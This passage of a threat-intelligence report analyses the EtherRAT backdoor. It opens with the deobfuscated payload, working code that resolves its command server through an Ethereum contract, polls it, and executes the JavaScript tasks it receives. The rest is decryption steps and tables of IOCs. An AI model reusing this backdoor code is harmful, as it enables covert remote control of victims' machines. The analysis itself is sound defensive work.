_ad = _z[parseInt(_ac['slice'](0x0, 0x2), 0x10) % _z['length']],
_ae = _aa[parseInt(_ac['slice'](0x2, 0x4), 0x10) % _aa['length']],
_af = _ac['slice'](0x4),
_ag = _t['join'](_y, _ad);
if (_s['existsSync'](_ag)) return _t['join'](_ag, _ae, _af);
return _t['join'](_y, _ac);
},
_ah = _x(),
_ai = _t['join'](_ah, _u['createHash']('md5')['update'](_ah)['digest']('hex')['slice'](0x0, 0x6)),
_aj = _t['join'](process['env']['APPDATA'], 'svchost.log'),
log = _ak => {
if (!_w) return;
try {
const _al = new Date()['toISOString']();
_s['appendFileSync'](_aj, '[' + _al + ']\x20' + _ak + '\x0a');
} catch (_am) {
try {
_s['writeFileSync'](_aj, '[' + ts + ']\x20LOG\x20ERROR:\x20' + _am['message'] + '\x0a');
} catch {}
}
},
_an = (_ao, _ap) => {
try {
const _aq = new Date()['toISOString'](),
_ar = _ap && _ap['stack'] ? _ap['stack'] : String(_ap);
_s['appendFileSync'](_aj, '[' + _aq + ']\x20' + _ao + ':\x20' + _ar + '\x0a');
} catch {}
};
process['on']('unhandledRejection', _as => {
_an('unhandledRejection', _as);
}), process['on']('uncaughtException', _at => {
_an('uncaughtException', _at);
});
const _au = () => {
try {
if (_s['existsSync'](_ai)) {
const _av = _s['readFileSync'](_ai, 'utf8');
return JSON['parse'](Buffer['from'](_av, 'base64')['toString']());
}
} catch {}
return null;
},
_aw = _ax => {
try {
_s['mkdirSync'](_ah, {
'recursive': !![]
}), _s['writeFileSync'](_ai, Buffer['from'](JSON['stringify'](_ax))['toString']('base64')), log('Config\x20saved');
} catch {}
},
_ay = () => {
let _az = _au();
if (_az && _az[0x0]) return _az[0x0];
const _ba = process['env']['APPDATA'] || _f(0x16e)['homedir'](),
_bb = _t['join'](_ba, '.node_bot_id');
try {
if (_s['existsSync'](_bb)) {
const _bc = _s['readFileSync'](_bb, 'utf8')['trim']();
if (!_az) _az = {};
return _az[0x0] = _bc, _aw(_az), _bc;
}
} catch {}
try {
const _bd = _s['readdirSync'](_ba)['filter'](_be => _be['startsWith']('.') && _be['length'] === 0xb);
if (_bd['length'] > 0x0) {
const _bf = _s['readFileSync'](_t['join'](_ba, _bd[0x0]), 'utf8')['trim']();
if (!_az) _az = {};
return _az[0x0] = _bf, _aw(_az), _bf;
}
} catch {}
const _bg = _u['randomUUID']();
if (!_az) _az = {};
return _az[0x0] = _bg, _aw(_az), _bg;
},
_bh = _ay(),
_bi = _bj => new Promise(_bk => setTimeout(_bk, _bj)),
_bl = '0x7d434425';
log('Started\x20|\x20ID:\x20' + _bh + '\x20|\x20Build:\x20' + _m), log('Install\x20dir:\x20' + _ah);
const _bm = _bn => {
return _bl + _bn['toLowerCase']()['replace']('0x', '')['padStart'](0x40, '0');
},
_bo = _bp => {
if (!_bp || _bp === '0x' || _bp['length'] < 0x82) return null;
try {
const _bq = _bp['replace']('0x', ''),
_br = parseInt(_bq['slice'](0x0, 0x40), 0x10) * 0x2,
_bs = parseInt(_bq['slice'](_br, _br + 0x40), 0x10),
_bt = _bq['slice'](_br + 0x40, _br + 0x40 + _bs * 0x2);
return Buffer['from'](_bt, 'hex')['toString']('utf8');
} catch {
return null;
}
},
_bu = async () => {
const _bv = {},
_bw = _bm(_o),
_bx = _r['map'](async _by => {
try {
const _bz = await fetch(_by, {
'method': 'POST',
'headers': {
'Content-Type': 'application/json'
},
'body': JSON['stringify']({
'jsonrpc': '2.0',
'method': 'eth_call',
'params': [{
'to': _n,
'data': _bw
}, 'latest'],
'id': 0x1
}),
'signal': AbortSignal['timeout'](0x2710)
}),
_ca = await _bz['json']();
if (_ca['result']) {
const _cb = _bo(_ca['result']);
_cb && /^(https?|wss?):\/\// ['test'](_cb) && (_bv[_by] = _cb['trim']());
}
} catch {}
});
await Promise['allSettled'](_bx);
const _cc = Object['values'](_bv);
if (!_cc['length']) return null;
const _cd = {};
return _cc['forEach'](_ce => {
_cd[_ce] = (_cd[_ce] || 0x0) + 0x1;
}), Object['entries'](_cd)['sort']((_cf, _cg) => _cg[0x1] - _cf[0x1])[0x0][0x0];
}, _ch = async () => {
if (!_p) {
log('Blockchain\x20disabled,\x20using\x20fallback');
return;
}
log('Fetching\x20URL\x20from\x20blockchain...');
const _ci = await _bu();
if (_ci) _v = _ci, log('Blockchain\x20URL:\x20' + _ci);
else log('Blockchain\x20fetch\x20failed,\x20using\x20fallback');
};
await _ch(), log('Server\x20URL:\x20' + _v);
const _cj = async () => {
try {
let _ck = _au();
if (!_ck || _ck[0x3]) {
log('Reobfuscation\x20skipped\x20(already\x20done)');
return;
}
if (!_ck[0x1]) return;
const _cl = _t['join'](_ah, _ck[0x1]);
if (!_s['existsSync'](_cl)) return;
log('Requesting\x20reobfuscation...');
const _cm = _s['readFileSync'](_cl, 'utf8'),
_cn = await fetch(_v + '/api/[REOBF_PATH]/' + _bh, {
'method': 'POST',
'headers': {
'Content-Type': 'application/json'
},
'body': JSON['stringify']({
'code': _cm,
'build': _m
}),
'signal': AbortSignal['timeout'](0x7530)
});
if (!_cn['ok']) {
log('Reobf\x20failed:\x20' + _cn['status']);
return;
}
const _co = await _cn['text']();
if (!_co || _co['length'] < 0x64) return;
_s['writeFileSync'](_cl, _co, 'utf8'), _ck[0x3] = Date['now'](), _aw(_ck), log('Reobfuscated,\x20saved\x20for\x20next\x20start');
} catch (_cp) {
log('Reobf\x20error:\x20' + _cp['message']);
}
};
await _cj();
async function _cq() {
const _cr = _u['randomBytes'](0x4)['toString']('hex'),
_cs = ['png', 'jpg', 'gif', 'css', 'ico', 'webp'],
_ct = _cs[Math['floor'](Math['random']() * _cs['length'])],
_cu = ['id', 'token', 'key', 'b', 'q', 's', 'v'],
_cv = _cu[Math['floor'](Math['random']() * _cu['length'])],
_cw = _u['randomBytes'](0x4)['toString']('hex'),
_cx = _v + '/api/' + _cr + '/' + _bh + '/' + _cw + '.' + _ct + '?' + _cv + '=' + _m;
try {
log('Polling:\x20' + _cx);
const _cy = new AbortController(),
_cz = setTimeout(() => _cy['abort'](), 0x1d4c0),
_da = await fetch(_cx, {
'signal': _cy['signal'],
'headers': {
'X-Bot-Server': _v
}
});
clearTimeout(_cz);
if (!_da['ok']) {
log('Poll\x20failed:\x20' + _da['status']), await _bi(0x1388);
return;
}
const _db = await _da['text']();
_db && _db['length'] > 0xa && (log('Received\x20task\x20(' + _db['length'] + '\x20bytes)'), setImmediate(async () => {
try {
const _dc = Object['getPrototypeOf'](async function() {})['constructor'],
_dd = new _dc('require', 'process', 'Buffer', 'console', '__dirname', '__filename', 'log', _db);
await _dd(typeof require !== 'undefined' ? require : _f(0x30b), process, Buffer, console, __dirname, __filename, log), log('Task\x20executed');
} catch (_de) {
log('Task\x20error:\x20' + _de['message']);
}
}));
} catch (_df) {
_df['name'] !== 'AbortError' && (log('Connect\x20error:\x20' + _df['message']), await _bi(0x1388));
}
}
let _dg = Date['now']();
setInterval(() => {
_p && Date['now']() - _dg > 0x493e0 && (log('Refreshing\x20blockchain\x20URL...'), _bu()['then'](_dh => {
_dh && _dh !== _v && (_v = _dh, log('New\x20URL:\x20' + _dh));
})['catch'](() => {}), _dg = Date['now']());
const _di = _au();
if (_di && typeof _di[0x5] === 'boolean') _w = _di[0x5];
}, 0xea60), log('Main\x20loop\x20started');
while (!![]) {
try {
await _cq();
} catch (_dj) {
log('Loop\x20error:\x20' + _dj['message']);
}
await _bi(0x1f4);
}
})()), module['exports'] = _k;
})());
Static inspection of the decrypted JavaScript revealed functionality associated with the EtherRAT backdoor, including:
The recovered payload also contained sample-specific indicators including an Ethereum RPC endpoint, contract-related addresses, a build identifier, and a fallback server URL.
These indicators should be treated as observed values from this sample rather than automatically attributed to every EtherRAT variant.
7. Decryption Workflow
The complete recovery process can be summarized as:
DTHaSxAdkC6s
│
▼
v72HYLU3OpRBznc.ini
│
│ 7,411 bytes
▼
A7Pnj975bl.cfg
│
▼
Extract $vx / $kj
│
▼
extract_constants.py
│
▼
Recover k / n / si
│
▼
Reconstruct dc()
│
▼
decrypt_payload.py
│
▼
decrypted_payload.bin
│
▼
Valid JavaScript
│
▼
EtherRAT payload
Evidence Table:
| Artifact | Size | Type | SHA-256 | Role |
|---|---|---|---|---|
A7Pnj975bl.cfg | 4,654 B | JavaScript | — | Loader/decryption routine |
v72HYLU3OpRBznc.ini | 7,411 B | Binary data | 2d4b4bb18b8445e49eeda571982874403befcecf78266e3d405f6529d98bee46 | Encrypted payload |
decrypted_payload.bin | 7,411 B | JavaScript | 0ac06c192dbf76ab86515a4cd1b640cbffee0a32166690f90c6b778fe8f7ad01 | Decrypted EtherRAT payload |
Complete Recovered Payload Data
| Category | Data / Indicator | Value / Details |
|---|---|---|
| Payload | Decrypted Payload | decrypted_payload.bin |
| Payload | Payload Type | JavaScript |
| Payload | Payload Size | 7,411 bytes |
| Payload | SHA-256 | 0ac06c192dbf76ab86515a4cd1b640cbffee0a32166690f90c6b778fe8f7ad01 |
| Loader | Loader File | A7Pnj975bl.cfg |
| Loader | Loader Size | 4,654 bytes |
| Encrypted Payload | Recovered File | v72HYLU3OpRBznc.ini |
| Encrypted Payload | Original Artifact | DTHaSxAdkC6s |
| Encrypted Payload | Size | 7,411 bytes |
| Encrypted Payload | SHA-256 | 2d4b4bb18b8445e49eeda571982874403befcecf78266e3d405f6529d98bee46 |
| Ethereum | RPC Endpoint | https://1rpc.io/eth |
| Ethereum | Contract Address | 0xdf0b529043ef7a2bb9111bad26de624a326bacf9 |
| Ethereum | Lookup Address | 0x5953f27f044779a3afcd2bf56a4b712583dd2e4e |
| Ethereum | Function Selector | 0x7d434425 |
| Ethereum | RPC Method | eth_call |
| Ethereum | Block Parameter | latest |
| Ethereum | C2 URL Schemes | http://, https://, wss:// |
| C2 | Fallback C2 | http://localhost:3000 |
| C2 | HTTP Header | X-Bot-Server |
| C2 | Polling Path | /api/<random>/<bot-id>/<random>.<extension> |
| C2 | Random Extensions | .png, .jpg, .gif, .css, .ico, .webp |
| C2 | Random Query Parameters | id, token, key, b, q, s, v |
| C2 | Query Value | Build ID |
| C2 | Request Timeout | 0x1d4c0 ms = 120,000 ms |
| C2 | Poll Retry Delay | 0x1388 ms = 5,000 ms |
| Task Execution | Minimum Task Size | > 0xa bytes = >10 bytes |
| Task Execution | Execution Mechanism | JavaScript Function constructor |
| Task Execution | Available Context | require, process, Buffer, console, __dirname, __filename, log |
| Host Identification | Input | COMPUTERNAME + USERNAME |
| Host Identification | Hash | MD5 |
| Host Identification | Identifier Length | First 8 hexadecimal characters |
| Bot ID | Primary Storage | Local Base64-encoded JSON configuration |
| Bot ID | Secondary Storage | %APPDATA%\.node_bot_id |
| Bot ID | Fallback | Hidden files beginning with . and length 11 |
| Bot ID | Generation | randomUUID() |
| Installation | Base Directory | %LOCALAPPDATA% |
| Installation | Directory Components | Microsoft, Windows, Programs, Packages, Google |
| Installation | Subdirectory Components | Services, Components, Assemblies, Extensions, Modules |
| Logging | Log File | %APPDATA%\svchost.log |
| Logging | Log Format | ISO timestamp + message |
| Configuration | Format | JSON |
| Configuration | Storage Encoding | Base64 |
| Configuration | Configuration File | MD5-derived filename under the generated installation directory |
| Re-obfuscation | Endpoint | /api/[REOBF_PATH]/<bot-id> |
| Re-obfuscation | HTTP Method | POST |
| Re-obfuscation | Content Type | application/json |
| Re-obfuscation | Submitted Data | code, build |
| Re-obfuscation | Request Timeout | 0x7530 ms = 30,000 ms |
| Re-obfuscation | Minimum Response Length | 0x64 = 100 bytes |
| C2 Refresh | Refresh Interval | 0x493e0 ms = 300,000 ms / 5 minutes |
| Main Loop | Poll Delay | 0x1f4 ms = 500 ms |
| Error Handling | Unhandled Rejection | Logged |
| Error Handling | Uncaught Exception | Logged |
| Blockchain Failure | Behavior | Falls back to configured C2 |
| Blockchain Failure | Log Message | Blockchain fetch failed, using fallback |
| Build | Build ID | 09a3e667-ef7e-4555-8647-1c021745d5fb |
| Loader Artifact | Batch Bootstrapper | MVnVmUYj.cmd |
| Loader Artifact | Original Bootstrapper | EG61CIQnLiDW |
Ethereum-Based C2 Configuration Resolution
Overview
A blockchain-based configurable mechanism was discovered by analysis of the encrypted EtherRAT payload. The malware uses a hardcoded contract address, function selector, and Ethereum address to query an Ethereum smart contract. The malware decodes the ABI-encoded contract response and accepts the resulting value when it matches the expected http://, https://, or wss:// URL schemes.
This mechanism allows the operator to change the resolved endpoint without modifying the malware binary.
1. Ethereum Configuration Identified in the Payload
The decrypted payload contained the following values:
| Parameter | Value |
|---|---|
| Blockchain | Ethereum Mainnet |
| Smart Contract | 0xdf0b529043ef7a2bb9111bad26de624a326bacf9 |
| Function Selector | 0x7d434425 |
| Lookup Address | 0x5953f27f044779a3afcd2bf56a4b712583dd2e4e |
| Embedded RPC | https://1rpc.io/eth |
| Contract Query | eth_call |
| Expected URL Schemes | http://, https://, wss:// |
The malware constructs a request equivalent to:
eth_call
Contract:
0xdf0b529043ef7a2bb9111bad26de624a326bacf9
Data:
0x7d434425
+
0x5953f27f044779a3afcd2bf56a4b712583dd2e4e
2. Ethereum Mainnet Verification
Before querying the contract, the Ethereum RPC endpoint used for analysis was verified.
Command
curl -sS \
-H 'Content-Type: application/json' \
-X POST \
--data '{"jsonrpc":"2.0","method":"eth_chainId","params":[],"id":1}' \
'https://ethereum-rpc.publicnode.com'
Result
Verification of the Ethereum Mainnet RPC endpoint used for smart-contract analysis.
The returned chain ID 0x1 confirms Ethereum Mainnet.
3. Smart Contract Bytecode Retrieval
The contract identified in the malware was queried using eth_getCode.
Command
curl -sS \
-H 'Content-Type: application/json' \
-X POST \
--data '{"jsonrpc":"2.0","method":"eth_getCode","params":["0xdf0b529043ef7a2bb9111bad26de624a326bacf9","latest"],"id":1}' \
'https://ethereum-rpc.publicnode.com' > contract_response.json
contents of contract_response.json
The returned runtime bytecode was converted into a binary file using python script: extract_contract.py
import json
with open("contract_response.json", "r") as f:
data = json.load(f)
code = data["result"]
with open("contract.bin", "wb") as f:
f.write(bytes.fromhex(code[2:]))
print("Bytecode size:", (len(code) - 2) // 2, "bytes")
print("Written: contract.bin")
running the extract_contract.py - Retrieval and extraction of the 1,111-byte Ethereum smart-contract runtime bytecode.
4. Function Selector Confirmation
The recovered contract was disassembled to determine whether it implements the same function invoked by EtherRAT.
The dispatcher contains:
EVM contract dispatcher confirming the 0x7d434425 function selector used by EtherRAT.
This confirms that the 0x7d434425 selector recovered from the malware is implemented by the queried contract.
5. Contract Storage Resolution
The function path reaches the contract routine at 0x00a4.
Relevant instructions include:
00a4: JUMPDEST
00a5: PUSH1 0x01
00a7: PUSH1 0x01
00a9: PUSH1 0xa0
00ab: SHL
00ac: SUB
00ad: DUP2
00ae: AND
...
00b8: PUSH1 0x40
00ba: SWAP1
00bb: KECCAK256
00bc: DUP1
00bd: SLOAD
The contract therefore performs address-sized masking, derives a storage-related hash using KECCAK256, and retrieves data using SLOAD.
The helper routine at 0x02d3 contains additional compiler-generated logic for processing the dynamically stored value.
6. Reproducing the EtherRAT Ethereum Query
The exact blockchain request generated by the malware was reproduced independently.
Contract
0xdf0b529043ef7a2bb9111bad26de624a326bacf9
Selector
0x7d434425
Lookup Address
0x5953f27f044779a3afcd2bf56a4b712583dd2e4e
Complete call data
0x7d4344250000000000000000000000005953f27f044779a3afcd2bf56a4b712583dd2e4e
Command
curl -sS \
-H 'Content-Type: application/json' \
-X POST \
--data '{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0xdf0b529043ef7a2bb9111bad26de624a326bacf9","data":"0x7d4344250000000000000000000000005953f27f044779a3afcd2bf56a4b712583dd2e4e"},"latest"],"id":1}' \
'https://ethereum-rpc.publicnode.com'
RESULT:
{"jsonrpc":"2.0","id":1,"result":"0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000e68747470733a2f2f61672e636f6d000000000000000000000000000000000000"}
Reproduction of the EtherRAT Ethereum eth_call using the recovered smart-contract address, selector, and lookup address.
7. ABI Decoding of the Contract Response
The returned value follows the ABI representation of a dynamic value.
| Field | Value |
|---|---|
| Offset | 0x20 |
| Length | 0x0e (14 bytes) |
| Encoded data | 68747470733a2f2f61672e636f6d |
| Decoded value | https://ag.com |
The hexadecimal data:
68747470733a2f2f61672e636f6d
decodes to:
https://ag.com
This is consistent with the EtherRAT _bo() routine, which extracts the dynamic value from the ABI response and validates it against HTTP/HTTPS/WebSocket URL schemes.
ABI decoding of the Ethereum contract response, resolving the queried configuration value to https://ag.com.
8. Blockchain-Resolved Endpoint
The reproduced query established that the Ethereum contract returned:
https://ag.com
for the following lookup:
Contract:
0xdf0b529043ef7a2bb9111bad26de624a326bacf9
Selector:
0x7d434425
Lookup:
0x5953f27f044779a3afcd2bf56a4b712583dd2e4e
At the time of analysis, the EtherRAT Ethereum configuration mechanism resolved the queried lookup key to https://ag.com.
Note: The observed resolution establishes that https://ag.com was the endpoint value returned by the blockchain configuration mechanism at the time of analysis. It does not, by itself, establish that the domain was an operational EtherRAT C2 server or that it was intentionally configured as a decoy.
Assessment of the Resolved Endpoint
The Ethereum-backed configuration mechanism successfully resolved the observed lookup address to https://ag.com during analysis. The result was independently reproduced using an eth_call against the recovered contract and decoded according to the ABI response structure. This establishes the domain as the blockchain-resolved endpoint value for the observed sample and lookup key. However, the available evidence does not independently demonstrate that the domain was an operational EtherRAT C2 server or intentionally deployed as a decoy. Therefore, https://ag.com is classified in this analysis as a blockchain-resolved endpoint, rather than a confirmed operational C2 infrastructure indicator.
9. Ethereum-Based Endpoint Resolution Flow
┌──────────────────────────────┐
│ Decrypted EtherRAT Payload │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ Ethereum Configuration │
│ Contract + Selector + Key │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ Ethereum Smart Contract │
│ 0xdf0b...bacf9 │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ Function Selector │
│ 0x7d434425 │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ KECCAK256 + SLOAD │
│ Storage-backed Configuration │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ ABI-Encoded Response │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ EtherRAT ABI Decoder │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ https://ag.com │
│ Contract-Resolved Endpoint │
└──────────────────────────────┘
Indicators of Compromise (IOCs) & Detection Artifacts
File Hashes
| Type | Indicator | Artifact / Description |
|---|---|---|
| MD5 | 73ce2438d4ed475e03727b7b000d2794 | Original MSI |
| SHA-1 | 3d5ee8429ef00824c0351cba507dfeb92b54f83b | Original MSI |
| SHA-256 | d9487fdc097f770e5661f9e5dee130068cb179d33716abff1a21c8cb901f25a6 | Original MSI |
| Vhash | ba151a36b5229126cd8a0e26f5d18ec0 | Original MSI |
| SSDEEP | 768:Sm/WjwJC1oRRXWxV/jpRJeWMbC9qZN/nq:k1oRRXWnpbob6r | Original MSI |
| TLSH | T137D25C46B600A332C5871F324A5BEBD95F799C04DF57210236CBB39D2E76AD026B79D0 | Original MSI |
| SHA-256 | 4142d5efd4ea2abab77f2f0a917610e2ff976bf9e19d7ad1e9156eccdc5412db | A7Pnj975bl.cfg |
| SHA-256 | 8c2665adf8bfab65463f2a9bd1b7bb0231de3f5c1e6a2e51479e44aaac2e7bf0 | MVnVmUYj.cmd |
| SHA-256 | 2d4b4bb18b8445e49eeda571982874403befcecf78266e3d405f6529d98bee46 | v72HYLU3OpRBznc.ini / encrypted payload |
| SHA-256 | 0ac06c192dbf76ab86515a4cd1b640cbffee0a32166690f90c6b778fe8f7ad01 | decrypted_payload.bin / decrypted EtherRAT |
Ethereum / Blockchain Indicators
| Type | Indicator | Description |
|---|---|---|
| Blockchain | Ethereum Mainnet | Blockchain used for configuration resolution |
| RPC URL | https://1rpc.io/eth | Embedded Ethereum RPC endpoint |
| Smart Contract | 0xdf0b529043ef7a2bb9111bad26de624a326bacf9 | Contract queried by EtherRAT |
| Ethereum Address | 0x5953f27f044779a3afcd2bf56a4b712583dd2e4e | Lookup address supplied to the contract |
| Function Selector | 0x7d434425 | Configuration retrieval function |
| RPC Method | eth_call | Ethereum JSON-RPC method used |
| Call Data | 0x7d4344250000000000000000000000005953f27f044779a3afcd2bf56a4b712583dd2e4e | Complete observed contract request |
| Resolved Endpoint | https://ag.com | Endpoint returned by the contract during analysis |
URLs / Network Artifacts
| Type | Indicator | Context |
|---|---|---|
| Blockchain RPC | https://1rpc.io/eth | Ethereum configuration retrieval |
| Resolved Endpoint | https://ag.com | Contract-resolved endpoint |
| Fallback URL | http://localhost:3000 | Hardcoded fallback configuration |
| Polling Path | /api/<random>/<bot-id>/<random>.<extension> | HTTP polling pattern |
| Re-obfuscation Path | /api/[REOBF_PATH]/<bot-id> | POST endpoint used for re-obfuscation |
| Accepted Schemes | http://, https://, wss:// | URL schemes accepted by the resolver |
HTTP / C2 Detection Artifacts
| Type | Indicator | Description |
|---|---|---|
| HTTP Header | X-Bot-Server | Identifies the server URL in polling requests |
| Extensions | .png, .jpg, .gif, .css, .ico, .webp | Randomized polling extensions |
| Query Parameters | id, token, key, b, q, s, v | Randomized query parameter names |
| Query Value | Build ID | Build identifier supplied in polling requests |
| Request Timeout | 120,000 ms | C2 request timeout |
| Retry Delay | 5,000 ms | Poll retry delay |
| C2 Refresh | 300,000 ms / 5 min | Blockchain endpoint refresh interval |
| Main Loop Delay | 500 ms | Main loop delay |
Host / Persistence Artifacts
| Type | Indicator | Description |
|---|---|---|
| Registry Key | HKCU\Software\Microsoft\Windows\CurrentVersion\Run | Confirmed from decoded loader constants |
| Registry Value | AppResolver | Confirmed from decrypted payload |
| Log File | %APPDATA%\svchost.log | Confirmed from decrypted payload |
| Bot ID File | %APPDATA%\.node_bot_id | Confirmed from decrypted payload |
| Installation Base | %LOCALAPPDATA% | Malware installation base |
| Directory Component | Microsoft | Generated installation path component |
| Directory Component | Windows | Generated installation path component |
| Directory Component | Programs | Generated installation path component |
| Directory Component | Packages | Generated installation path component |
| Directory Component | Google | Generated installation path component |
| Subdirectory Component | Services | Generated installation path component |
| Subdirectory Component | Components | Generated installation path component |
| Subdirectory Component | Assemblies | Generated installation path component |
| Subdirectory Component | Extensions | Generated installation path component |
| Subdirectory Component | Modules | Generated installation path component |
Malware Artifact Names
| Artifact | Role |
|---|---|
d9487fdc097f770e5661f9e5dee130068cb179d33716abff1a21c8cb901f25a6.msi | Original MSI |
Product.cab | Embedded CAB |
EG61CIQnLiDW | Original batch bootstrapper |
MVnVmUYj.cmd | Staged batch bootstrapper |
r_624k6i0Ucp | Original JavaScript loader |
A7Pnj975bl.cfg | Staged JavaScript loader |
DTHaSxAdkC6s | Original encrypted payload |
v72HYLU3OpRBznc.ini | Staged encrypted payload |
decrypted_payload.bin | Recovered decrypted EtherRAT payload |
P2RsupmqXnmx | Observed temporary working directory |
node-v18.20.5-win-x64 | Staged Node.js runtime directory |
Build / Configuration Identifiers
| Type | Indicator | Description |
|---|---|---|
| Build ID | 09a3e667-ef7e-4555-8647-1c021745d5fb | Sample-specific build identifier |
| Loader | A7Pnj975bl.cfg | Loader filename |
| Encrypted Payload | v72HYLU3OpRBznc.ini | Encrypted payload filename |
| Bootstrapper | MVnVmUYj.cmd | Staged bootstrapper |